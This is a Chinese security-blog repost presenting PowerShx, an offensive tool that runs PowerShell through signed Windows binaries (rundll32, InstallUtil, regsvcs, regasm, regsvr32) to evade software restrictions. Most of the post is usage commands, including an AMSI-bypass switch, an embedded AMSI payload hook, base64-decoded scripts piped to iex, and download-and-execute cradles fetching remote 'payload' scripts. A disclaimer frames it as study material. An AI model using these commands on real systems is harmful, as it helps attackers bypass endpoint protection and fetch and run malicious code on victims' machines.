PowerShx 不受软件限制运行Powershell

admin 2023年10月14日02:14:48评论12 views字数 2585阅读8分37秒阅读模式

#############################

免责声明:本文仅作收藏学习之用,亦希望大家以遵守《网络安全法》相关法律为前提,切勿用于非法犯罪活动,对于恶意使用造成的损失,和本人及作者无关。

##############################


使用 DLL 或独立可执行文件的非托管 PowerShell 执行。

PowerShx 不受软件限制运行Powershell

PowerShx 是对PowerShdll项目的重写和扩展。PowerShx 提供绕过 AMSI 和运行 PS Cmdlet 的功能。

特征

  • 使用 rundll32.exe、installutil.exe、regsvcs.exe 或 regasm.exe、regsvr32.exe 运行带有 DLL 的 Powershell。

  • 在没有 powershell.exe 或 powershell_ise.exe 的情况下运行 Powershell

  • AMSI 旁路功能。

  • 直接从命令行或 Powershell 文件运行 Powershell 脚本

  • 导入 Powershell 模块并执行 Powershell Cmdlets。

用法

运行dll32

rundll32 PowerShx.dll,main -e                           <PS script to run>rundll32 PowerShx.dll,main -f <path>                    Run the script passed as argument
rundll32 PowerShx.dll,main -f <path> -c <PS Cmdlet>     Load a script and run a PS cmdlet
rundll32 PowerShx.dll,main -w                           Start an interactive console in a new windowrundll32 PowerShx.dll,main -i                           Start an interactive console
rundll32 PowerShx.dll,main -s                           Attempt to bypass AMSIrundll32 PowerShx.dll,main -v                           Print Execution Output to the console

复制

替代

1. 
   x86 - C:WindowsMicrosoft.NETFrameworkv4.0.30319InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll
   x64 - C:WindowsMicrosoft.NETFramework64v4.0.3031964InstallUtil.exe /logfile= /LogToConsole=false /U PowerShx.dll2.
   x86 C:WindowsMicrosoft.NETFrameworkv4.0.30319regsvcs.exe PowerShx.dll
   x64 C:WindowsMicrosoft.NETFramework64v4.0.30319regsvcs.exe PowerShx.dll3.
   x86 C:WindowsMicrosoft.NETFrameworkv4.0.30319regasm.exe /U PowerShx.dll
   x64 C:WindowsMicrosoft.NETFramework64v4.0.30319regasm.exe /U PowerShx.dll4.
   regsvr32 /s  /u PowerShx.dll -->Calls DllUnregisterServer
   regsvr32 /s PowerShx.dll --> Calls DllRegisterServer

复制

exe 版本

PowerShx.exe -i                          Start an interactive console
PowerShx.exe -e                          <PS script to run>PowerShx.exe -f <path>                   Run the script passed as argument
PowerShx.exe -f <path> -c <PS Cmdlet>    Load a script and run a PS cmdlet
PowerShx.exe -s                          Attempt to bypass AMSI.

复制

嵌入式有效载荷

可以通过更新“Common”项目中的数据字典“Common.Payloads.PayloadDict”并在方法 PsSession.cs -> Handle() 中调用它来嵌入有效负载。示例:在 Handle() 方法中:

private void Handle(Options options){
 // Pre-execution before user script
 _ps.Exe(Payloads.PayloadDict["amsi"]);}

复制

例子

运行 base64 编码的脚本

rundll32 PowerShx.dll,main [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

PowerShx.exe -e [System.Text.Encoding]::Default.GetString([System.Convert]::FromBase64String("BASE64")) ^| iex

复制

注意:Empire stagers 需要使用 [System.Text.Encoding]::Unicode 解码

运行 base64 编码的脚本

rundll32 PowerShx.dll,main . { iwr -useb https://website.com/Script.ps1 } ^| iex;PowerShx.exe -e "IEX ((new-object net.webclient).downloadstring('http://192.168.100/payload-http'))"

复制

项目地址:

aHR0cHM6Ly9naXRodWIuY29tL2lvbW9hdGgvUG93ZXJTaHg=



原文始发于微信公众号(菜鸟小新):PowerShx 不受软件限制运行Powershell

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2023年10月14日02:14:48
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PowerShx 不受软件限制运行Powershellhttp://cn-sec.com/archives/2099599.html

发表评论

匿名网友 填写信息